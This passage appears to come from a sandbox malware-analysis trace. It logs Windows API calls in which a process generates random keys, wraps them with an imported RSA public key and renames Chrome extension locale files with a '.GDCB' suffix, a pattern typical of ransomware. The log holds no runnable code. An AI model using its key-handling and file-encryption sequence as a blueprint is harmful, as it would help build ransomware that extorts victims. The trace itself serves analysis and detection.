dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.636] CryptEncrypt (in: hKey=0x679b320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.637] GetLastError () returned 0x0 [0274.637] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.637] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.639] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b360) returned 1 [0274.639] CryptGetKeyParam (in: hKey=0x679b360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.639] CryptEncrypt (in: hKey=0x679b360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.639] GetLastError () returned 0x0 [0274.639] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.639] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.640] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.643] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.646] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x282, lpOverlapped=0x0) returned 1 [0274.655] VirtualAlloc (lpAddress=0x0, dwSize=0x290, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.662] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.gdcb")) returned 1 [0274.668] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.671] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.674] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.674] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.674] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.674] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.677] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.679] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.679] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.679] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.680] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0274.682] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b260) returned 1 [0274.682] CryptGetKeyParam (in: hKey=0x679b260, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.682] CryptEncrypt (in: hKey=0x679b260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.682] GetLastError () returned 0x0 [0274.682] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.682] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.684] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b6a0) returned 1 [0274.684] CryptGetKeyParam (in: hKey=0x679b6a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.684] CryptEncrypt (in: hKey=0x679b6a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.684] GetLastError () returned 0x0 [0274.684] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.684] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.686] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.689] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.693] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x32c, lpOverlapped=0x0) returned 1 [0274.702] VirtualAlloc (lpAddress=0x0, dwSize=0x330, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.708] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.gdcb")) returned 1 [0274.713] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.716] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.718] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.718] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.719] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.719] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.721] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.724] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.724] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.724] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.724] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.727] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b6e0) returned 1 [0274.727] CryptGetKeyParam (in: hKey=0x679b6e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.727] CryptEncrypt (in: hKey=0x679b6e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.727] GetLastError () returned 0x0 [0274.727] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.727] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0274.729] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b3a0) returned 1 [0274.729] CryptGetKeyParam (in: hKey=0x679b3a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.729] CryptEncrypt (in: hKey=0x679b3a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.729] GetLastError () returned 0x0 [0274.729] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.729] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.730] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.733] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.736] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x289, lpOverlapped=0x0) returned 1 [0274.745] VirtualAlloc (lpAddress=0x0, dwSize=0x290, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.751] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.gdcb")) returned 1 [0274.757] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.761] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.763] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.763] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.763] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.763] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.766] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.768] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.769] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.769] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.769] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.771] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b420) returned 1 [0274.771] CryptGetKeyParam (in: hKey=0x679b420, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.772] CryptEncrypt (in: hKey=0x679b420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.772] GetLastError () returned 0x0 [0274.772] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.772] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.774] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679baa0) returned 1 [0274.774] CryptGetKeyParam (in: hKey=0x679baa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.774] CryptEncrypt (in: hKey=0x679baa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.774] GetLastError () returned 0x0 [0274.774] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.774] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.775] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.778] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.781] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x44b, lpOverlapped=0x0) returned 1 [0274.791] VirtualAlloc (lpAddress=0x0, dwSize=0x450, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.796] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.gdcb")) returned 1 [0274.802] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.805] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.807] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.808] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.808] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.808] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.810] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.812] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.812] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.812] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.813] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0274.815] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b920) returned 1 [0274.815] CryptGetKeyParam (in: hKey=0x679b920, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.815] CryptEncrypt (in: hKey=0x679b920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.815] GetLastError () returned 0x0 [0274.815] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0274.815] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.817] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679be20) returned 1 [0274.817] CryptGetKeyParam (in: hKey=0x679be20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.817] CryptEncrypt (in: hKey=0x679be20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.818] GetLastError () returned 0x0 [0274.818] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.818] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.819] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.822] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.824] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x28a, lpOverlapped=0x0) returned 1 [0274.834] VirtualAlloc (lpAddress=0x0, dwSize=0x290, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.840] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.gdcb")) returned 1 [0274.845] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.848] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.851] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.851] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.851] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.851] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0274.854] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.856] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.856] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.856] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0274.856] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0274.860] CryptImportKey (in: hProv=0x5c4980, 